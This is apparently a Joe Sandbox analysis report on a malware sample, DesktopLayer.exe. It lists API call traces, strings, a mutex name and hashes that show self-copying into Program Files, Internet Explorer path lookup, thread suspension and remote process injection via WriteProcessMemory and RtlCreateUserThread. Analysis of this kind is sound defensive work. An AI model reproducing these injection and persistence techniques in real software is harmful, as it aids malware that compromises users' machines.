Opcode ID: 463493cebd59d1f188ea9a20502c0f4e100c46f55fa8f6262abcbcc5b70460af
Instruction ID: c2ba5ae319506b5b3c34dab63c9871c855eaa5994ee0d20c46dbe3da657a52d6
Opcode Fuzzy Hash: 463493cebd59d1f188ea9a20502c0f4e100c46f55fa8f6262abcbcc5b70460af
Instruction Fuzzy Hash: 62E0928691E3D40EE70393745864A847FB15F67118F0B85DBD0D5CA0E3D6489A0EC337

Function 004B1457 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFreeVirtualMemory.NTDLL(00000000,F40368AB), ref: 004B2750

Memory Dump Source

Source File: 00000004.00000003.2047734431.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_4b0000_DesktopLayer.jbxd

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: b48d3e1404e8900d199013f262c6db174cb68df81b1b54382843596abfa5e2cd
Instruction ID: 330ee23bc8806b4e3f12e1f687076b0389d4358bb883fa75e2d0e1b412b14972
Opcode Fuzzy Hash: b48d3e1404e8900d199013f262c6db174cb68df81b1b54382843596abfa5e2cd
Instruction Fuzzy Hash: FFB01200004600374824B3FF9953CEF400428553CD3200D07B423F10554CACC222547F

Function 004B2740 Relevance: 1.5, APIs: 1, Instructions: 8
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFreeVirtualMemory.NTDLL ref: 004B2750

Memory Dump Source

Source File: 00000004.00000002.2055566324.00000000004B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b1000_DesktopLayer.jbxd

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: daf8ff062a64d71ed8538d5a4dfc0d1fcbc3b82ee8d6e8e9fd10b4b60d0c9c1d
Instruction ID: c85436dcd5e897d7d6bfc6eb205c035800b4504989925759a9b7a1b207a2023a
Opcode Fuzzy Hash: daf8ff062a64d71ed8538d5a4dfc0d1fcbc3b82ee8d6e8e9fd10b4b60d0c9c1d
Instruction Fuzzy Hash: DEB01200004200374820B3FB9853C9F400424553CD3100D077412F10454C6CC221447A

Function 00401718 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000000,http\shell\open\command,00000000), ref: 00401731
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00401750
RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00401763
lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0040176B
lstrcpy.KERNEL32(00000000,00000001), ref: 00401784
lstrlen.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0040178C
ExpandEnvironmentStringsA.KERNEL32(%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 004017C0
RegOpenKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000), ref: 004017F2
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000,00000000,%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 00401811
RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000,00000000,%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 00401824

Strings

%ProgramFiles%\Internet Explorer\iexplore.exe, xrefs: 004017BB
http\shell\open\command, xrefs: 00401727
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE, xrefs: 004017E8

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValuelstrlen$EnvironmentExpandStringslstrcpy
String ID: %ProgramFiles%\Internet Explorer\iexplore.exe$SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE$http\shell\open\command
API String ID: 3609507023-2166425673
Opcode ID: ec1019beed7b315069fa3b1779e8fda54c19aa443329518b0391860384422208
Instruction ID: 492c7e26a815c2c5e33e9532f8691bf3d5bdac08c2cdb0d7937cd877f00ba273
Opcode Fuzzy Hash: ec1019beed7b315069fa3b1779e8fda54c19aa443329518b0391860384422208
Instruction Fuzzy Hash: 2731FE31580009FADF116B91CD46F9D7E26EF14348F108036B904B81F1D7B98FA1EB98

Function 00402B89 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 73
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumePathNameA.KERNEL32(00000000,?,0000000A), ref: 00402BA8
GetDriveTypeA.KERNEL32(?,00000000,00000000), ref: 00402BB5
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00402BCD
lstrcmpiA.KERNEL32(00000000,DesktopLayer.exe), ref: 00402BFA
GlobalFree.KERNEL32(?), ref: 00402C0B
CopyFileA.KERNEL32(00000001,?,00000000), ref: 00402C34
GlobalFree.KERNEL32(?), ref: 00402C4F

Strings

Microsoft, xrefs: 00402C1B
DesktopLayer.exe, xrefs: 00402BF2, 00402C16

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: FreeGlobal$CopyDriveFileNamePathTypeVolumelstrcmpilstrlen
String ID: DesktopLayer.exe$Microsoft
API String ID: 2423091117-2303414202
Opcode ID: c0ca75b23bda53f436f0ea2ef0c44b34eb9accc9f18b291d2ed0bc16f2845a68
Instruction ID: 424de1d055d36d94485564944f0a82ae944634b2939da7d16f421487f9db5567
Opcode Fuzzy Hash: c0ca75b23bda53f436f0ea2ef0c44b34eb9accc9f18b291d2ed0bc16f2845a68
Instruction Fuzzy Hash: B0214C31940109FAEF21AEA1CE4ABEE7B75AF00308F204076B600B41E0D7F99E80DB58

Function 004027E0 Relevance: 13.6, APIs: 9, Instructions: 58
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 004027EB
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,00000000), ref: 004027F7
Thread32First.KERNEL32(?,?), ref: 00402817
OpenThread.KERNEL32(00000002,00000000,?,00000004,00000000,00000000), ref: 00402837
SuspendThread.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 0040284C
ResumeThread.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 0040285C
ExitProcess.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 00402864
Thread32Next.KERNEL32(?,?), ref: 00402870
ExitProcess.KERNEL32(?,00000004,00000000,00000000), ref: 0040287D

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Thread$ExitProcessThread32$CreateCurrentFirstNextOpenResumeSnapshotSuspendToolhelp32
String ID:
API String ID: 3069391254-0
Opcode ID: 72e94921eaf1fb3e7ebfb8d2ccb6d59a18575e0b5bae3622c53e44924cfbaa71
Instruction ID: 86f68fd1592829ff739bdd2ae1b77707a543462ea7653b1b0fc8759417c2ad1e
Opcode Fuzzy Hash: 72e94921eaf1fb3e7ebfb8d2ccb6d59a18575e0b5bae3622c53e44924cfbaa71
Instruction Fuzzy Hash: B1112135D00209EBDF11ABA1CE8ABDDBB74AF04314F108576F510B52D1D7B99E819B68

Function 00402C5B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401718: RegOpenKeyA.ADVAPI32(80000000,http\shell\open\command,00000000), ref: 00401731
Part of subcall function 00401718: RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00401750
Part of subcall function 00401718: RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00401763
Part of subcall function 00401718: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0040176B
Part of subcall function 00401718: lstrcpy.KERNEL32(00000000,00000001), ref: 00401784
Part of subcall function 00401718: lstrlen.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0040178C
Part of subcall function 00401718: ExpandEnvironmentStringsA.KERNEL32(%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 004017C0
Part of subcall function 00401718: RegOpenKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000), ref: 004017F2
Part of subcall function 00401718: RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000,00000000,%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 00401811
Part of subcall function 00401718: RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000,00000000,%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 00401824

ExitProcess.KERNEL32(00000000), ref: 00402CE1

Part of subcall function 004016DF: CreateMutexA.KERNEL32(00000000,00000000,?), ref: 004016EC
Part of subcall function 004016DF: GetLastError.KERNEL32(00000000,00000000,?), ref: 004016F8

GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\Microsoft\DesktopLayer.exe,00000104), ref: 00402C99
ExitProcess.KERNEL32(00000000,00000000,C:\Program Files (x86)\Microsoft\DesktopLayer.exe,00000104), ref: 00402CBA

Part of subcall function 004016C2: ReleaseMutex.KERNEL32(00000000), ref: 004016CE
Part of subcall function 004016C2: ExitProcess.KERNEL32(00000000,00000000), ref: 004016D6

Strings

C:\Program Files (x86)\Microsoft\DesktopLayer.exe, xrefs: 00402C92, 00402C9F, 00402CA9
KyUffThOkYwRRtgPP, xrefs: 00402C6F
C:\Program Files\Internet Explorer\iexplore.exe, xrefs: 00402C60, 00402CD0

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: ExitProcess$CloseMutexOpenQueryValuelstrlen$CreateEnvironmentErrorExpandFileLastModuleNameReleaseStringslstrcpy
String ID: C:\Program Files (x86)\Microsoft\DesktopLayer.exe$C:\Program Files\Internet Explorer\iexplore.exe$KyUffThOkYwRRtgPP
API String ID: 6870790-2696736907
Opcode ID: c778e505cab7d16e3cbb336080de4768f103949627ee3b3c3742f60529a72c39
Instruction ID: 658ed56b8edc3d340efa7718af161cce9f9a56405a25793705c5132ec09cd582
Opcode Fuzzy Hash: c778e505cab7d16e3cbb336080de4768f103949627ee3b3c3742f60529a72c39
Instruction Fuzzy Hash: 17F07470A9920166F96036E31F4BF2D3519AB51B19F24493FFA06B5ADAC8FDC880406E

Function 004028CA Relevance: 6.1, APIs: 4, Instructions: 80
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,0000000A,00000040,?,00000000), ref: 004028E7
VirtualAlloc.KERNEL32(00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402918
VirtualProtect.KERNEL32(?,?,?,?,00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402980
VirtualProtect.KERNEL32(?,0000000A,?,?,00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402996

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: 369eeb65aa296d2dae8c1e6228be278ee0825764de037de80b8f859d133c5a73
Instruction ID: b6ba2b43a951933c86d16c11af4f64c0acd03aa07567240cc84e3321d53f4215
Opcode Fuzzy Hash: 369eeb65aa296d2dae8c1e6228be278ee0825764de037de80b8f859d133c5a73
Instruction Fuzzy Hash: 5C311871A0020AEFDF11CFA9C945B9DBFB4EF14340F14406AFA48BA290D6759A91DB94

Function 004029DF Relevance: 4.5, APIs: 3, Instructions: 43
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(00000000,?,00000040,?,00000000), ref: 00402A13
VirtualProtect.KERNEL32(00000000,?,?,?,00000000,?,00000040,?,00000000), ref: 00402A3E
VirtualFree.KERNEL32(?,00000000,00008000,00000000,?,?,?,00000000,?,00000040,?,00000000), ref: 00402A4D

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Virtual$Protect$Free
String ID:
API String ID: 3866829018-0
Opcode ID: b8d8473e9f29018263d002a1b9394d49cdd053bf5ffd04d5e508e7cc333462ac
Instruction ID: f27a144675b2fe01f67425664e92267be8f0394ad88cd99cbc2fa8d205c62a39
Opcode Fuzzy Hash: b8d8473e9f29018263d002a1b9394d49cdd053bf5ffd04d5e508e7cc333462ac
Instruction Fuzzy Hash: CA01D031A40109BEDF219F94CD46FEEBFB5BF15304F108066B614BA1E0D7B59A90EB88

Function 00401379 Relevance: 4.5, APIs: 3, Instructions: 35
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000001,?), ref: 004013BB
ExitProcess.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000001,?), ref: 004013C8
ExitProcess.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000001,?), ref: 004013CD

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Process$Exit$Create
String ID:
API String ID: 2394923174-0
Opcode ID: 0b9fd5c7e8ad01172abb2ed1f5057486634ba48228bf173a733661a2fbaf2fb1
Instruction ID: 9702a8fae010102b8f3319c9dcbb37de3e5b74a77d2506e72a6bb3d194965e30
Opcode Fuzzy Hash: 0b9fd5c7e8ad01172abb2ed1f5057486634ba48228bf173a733661a2fbaf2fb1
Instruction Fuzzy Hash: 00F05E7280410DAADF00EBD1CD42FDEB73CBF04358F204022B304BA0D1E7B8A6588759

Function 004029A2 Relevance: 3.0, APIs: 2, Instructions: 23
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00000000), ref: 004029B0
GetProcAddress.KERNEL32(00000000,?), ref: 004029BD

Part of subcall function 004028CA: VirtualProtect.KERNEL32(?,0000000A,00000040,?,00000000), ref: 004028E7
Part of subcall function 004028CA: VirtualAlloc.KERNEL32(00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402918
Part of subcall function 004028CA: VirtualProtect.KERNEL32(?,?,?,?,00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402980
Part of subcall function 004028CA: VirtualProtect.KERNEL32(?,0000000A,?,?,00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402996

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Virtual$Protect$AddressAllocHandleModuleProc
String ID:
API String ID: 4290937511-0
Opcode ID: b921994f58bdc4b210f7c8b35a7cf946ba28c7636f8b93b1c0c647cbddfc2515
Instruction ID: 1651995c63ca12de55e895945037ab8e41c16d8622046d8211499f0a59fcab6d
Opcode Fuzzy Hash: b921994f58bdc4b210f7c8b35a7cf946ba28c7636f8b93b1c0c647cbddfc2515
Instruction Fuzzy Hash: 54E01A72A1010EFACF11AFA0CE4AA9E7B78AF10314F104576B510F51E1DAB5DA52AB58

Function 004016DF Relevance: 3.0, APIs: 2, Instructions: 20
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000000,?), ref: 004016EC
GetLastError.KERNEL32(00000000,00000000,?), ref: 004016F8

Part of subcall function 004016C2: ReleaseMutex.KERNEL32(00000000), ref: 004016CE
Part of subcall function 004016C2: ExitProcess.KERNEL32(00000000,00000000), ref: 004016D6

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Mutex$CreateErrorExitLastProcessRelease
String ID:
API String ID: 1221886886-0
Opcode ID: 0897c6c8bd5289ff081836c2ea4f05b2bb83777deb02434dc499b74169ab8284
Instruction ID: 09fa4dce51ae3b9f4bbea8390c7e24992755dbbf689dbb8f605fa6f359d9358e
Opcode Fuzzy Hash: 0897c6c8bd5289ff081836c2ea4f05b2bb83777deb02434dc499b74169ab8284
Instruction Fuzzy Hash: 2EE0CD30604109F7DF50A7B48D43B8D76605B00314F300036B604B91F2D6748F00665D

Function 0040288E Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0040288E

Part of subcall function 004027E0: GetCurrentThreadId.KERNEL32 ref: 004027EB
Part of subcall function 004027E0: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,00000000), ref: 004027F7
Part of subcall function 004027E0: Thread32First.KERNEL32(?,?), ref: 00402817
Part of subcall function 004027E0: OpenThread.KERNEL32(00000002,00000000,?,00000004,00000000,00000000), ref: 00402837
Part of subcall function 004027E0: SuspendThread.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 0040284C
Part of subcall function 004027E0: ExitProcess.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 00402864
Part of subcall function 004027E0: Thread32Next.KERNEL32(?,?), ref: 00402870
Part of subcall function 004027E0: ExitProcess.KERNEL32(?,00000004,00000000,00000000), ref: 0040287D

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: ProcessThread$CurrentExitThread32$CreateFirstNextOpenSnapshotSuspendToolhelp32
String ID:
API String ID: 1967596357-0
Opcode ID: 2e9851a2dd101650b380cd5b6f0936979375b9f6a6facf91819529721b8f5585
Instruction ID: c3a74163a59861bd7985e3066268b4a11e13b3a8d8b6cef394e370295a2bc129
Opcode Fuzzy Hash: 2e9851a2dd101650b380cd5b6f0936979375b9f6a6facf91819529721b8f5585
Instruction Fuzzy Hash: F590026854020821EC5132724F0FB0941095B58748FD0046A7100760C248FC6404002C

Function 0040289C Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0040289C

Part of subcall function 004027E0: GetCurrentThreadId.KERNEL32 ref: 004027EB
Part of subcall function 004027E0: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,00000000), ref: 004027F7
Part of subcall function 004027E0: Thread32First.KERNEL32(?,?), ref: 00402817
Part of subcall function 004027E0: OpenThread.KERNEL32(00000002,00000000,?,00000004,00000000,00000000), ref: 00402837
Part of subcall function 004027E0: SuspendThread.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 0040284C
Part of subcall function 004027E0: ExitProcess.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 00402864
Part of subcall function 004027E0: Thread32Next.KERNEL32(?,?), ref: 00402870
Part of subcall function 004027E0: ExitProcess.KERNEL32(?,00000004,00000000,00000000), ref: 0040287D

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: ProcessThread$CurrentExitThread32$CreateFirstNextOpenSnapshotSuspendToolhelp32
String ID:
API String ID: 1967596357-0
Opcode ID: 5ce912bdf5cca97aa05414d8d80f23ef3d40b423b240fbe2f3f9fed0901ee56e
Instruction ID: eefd4aeca426eb494441e0bf0994250034091ef4c57f7009f494a994d807c82a
Opcode Fuzzy Hash: 5ce912bdf5cca97aa05414d8d80f23ef3d40b423b240fbe2f3f9fed0901ee56e
Instruction Fuzzy Hash: C090026855020821EC5132724F4FB49410A5B58748FC0046A7100760C288FD54440028

Non-executed Functions

Function 00402002 Relevance: 7.6, APIs: 5, Instructions: 133memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040,?,?,10000000), ref: 00402054
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,00003000,00000040,?,?,10000000), ref: 0040206C
VirtualAllocEx.KERNEL32(00000000,?,00000000,00003000,00000040,00000000,00000000,00008000,?,00000000,00003000,00000040,?,?,10000000), ref: 00402081
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000,00003000,00000040,?), ref: 004020DD
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004021A7

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$FileFreeMemoryModuleNameProcessWrite
String ID:
API String ID: 1226386272-0
Opcode ID: 6c1e21183a980ab968bbfee776e79cb2fdededaff1f5bdb30310a3cb0ebcf345
Instruction ID: 20129d6dd5dd2ce482b1996248009f9aa0b5b2071adf242341de1031ba6d11b0
Opcode Fuzzy Hash: 6c1e21183a980ab968bbfee776e79cb2fdededaff1f5bdb30310a3cb0ebcf345
Instruction Fuzzy Hash: 0051B572900119EEDF22AFD4DD45BEEBB75EB08304F1044A6F614B51E1C7B99A90DF48

Function 00401848 Relevance: 52.6, APIs: 15, Strings: 15, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 00401853
GetProcAddress.KERNEL32(?,LdrLoadDll), ref: 0040186C
GetProcAddress.KERNEL32(?,LdrGetDllHandle), ref: 00401887
GetProcAddress.KERNEL32(?,LdrGetProcedureAddress), ref: 004018A2
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 004018BD
GetProcAddress.KERNEL32(?,RtlUnicodeStringToAnsiString), ref: 004018D8
GetProcAddress.KERNEL32(?,RtlFreeAnsiString), ref: 004018F3
GetProcAddress.KERNEL32(?,RtlInitString), ref: 0040190E
GetProcAddress.KERNEL32(?,RtlAnsiStringToUnicodeString), ref: 00401929
GetProcAddress.KERNEL32(?,RtlFreeUnicodeString), ref: 00401944
GetProcAddress.KERNEL32(?,ZwProtectVirtualMemory), ref: 0040195B
GetProcAddress.KERNEL32(?,RtlCreateUserThread), ref: 00401972
GetProcAddress.KERNEL32(?,ZwFreeVirtualMemory), ref: 00401989
GetProcAddress.KERNEL32(?,ZwDelayExecution), ref: 004019A0
GetProcAddress.KERNEL32(?,ZwQueryInformationProcess), ref: 004019B7

Strings

RtlAnsiStringToUnicodeString, xrefs: 00401921
ZwProtectVirtualMemory, xrefs: 00401953
LdrGetDllHandle, xrefs: 0040187F
ntdll.dll, xrefs: 0040184E
ZwQueryInformationProcess, xrefs: 004019AF
RtlFreeUnicodeString, xrefs: 0040193C
RtlFreeAnsiString, xrefs: 004018EB
RtlCreateUserThread, xrefs: 0040196A
RtlInitString, xrefs: 00401906
LdrGetProcedureAddress, xrefs: 0040189A
RtlInitUnicodeString, xrefs: 004018B5
ZwFreeVirtualMemory, xrefs: 00401981
RtlUnicodeStringToAnsiString, xrefs: 004018D0
ZwDelayExecution, xrefs: 00401998
LdrLoadDll, xrefs: 00401864

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: LdrGetDllHandle$LdrGetProcedureAddress$LdrLoadDll$RtlAnsiStringToUnicodeString$RtlCreateUserThread$RtlFreeAnsiString$RtlFreeUnicodeString$RtlInitString$RtlInitUnicodeString$RtlUnicodeStringToAnsiString$ZwDelayExecution$ZwFreeVirtualMemory$ZwProtectVirtualMemory$ZwQueryInformationProcess$ntdll.dll
API String ID: 667068680-543826357
Opcode ID: 69ca6255efe83f27f5b84edb10674d8826c510bd713bf2e009cb445737337cba
Instruction ID: bc6468009a329136bf4eb22e9ff5b6ca0f6950a870a5312c355c34da05818bdd
Opcode Fuzzy Hash: 69ca6255efe83f27f5b84edb10674d8826c510bd713bf2e009cb445737337cba
Instruction Fuzzy Hash: C8310EF0D10285AADF21ABE5DE46B6D7AA1DF00704F240577A450F12F1D7BC4E98EA4D

Function 00401402 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 122stringmemoryCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 0040144C
ExpandEnvironmentStringsA.KERNEL32(%CommonProgramFiles%,?,000002FC,00000000), ref: 00401471
ExpandEnvironmentStringsA.KERNEL32(%HOMEDRIVE%%HOMEPATH%,?,000002FC,00000000), ref: 00401496
ExpandEnvironmentStringsA.KERNEL32(%APPDATA%,?,000002FC,00000000), ref: 004014B8
lstrcat.KERNEL32(?,00000000), ref: 0040152F
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 0040153D
lstrlen.KERNEL32(?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 00401559
GlobalAlloc.KERNEL32(00000040,-00000002,?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 00401564
lstrcpy.KERNEL32(00000000,?), ref: 00401580
lstrlen.KERNEL32(00000000,00000040,-00000002,?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 0040158B

Strings

%ProgramFiles%, xrefs: 00401447
%APPDATA%, xrefs: 004014B3
%CommonProgramFiles%, xrefs: 0040146C
%HOMEDRIVE%%HOMEPATH%, xrefs: 00401491

Memory Dump Source

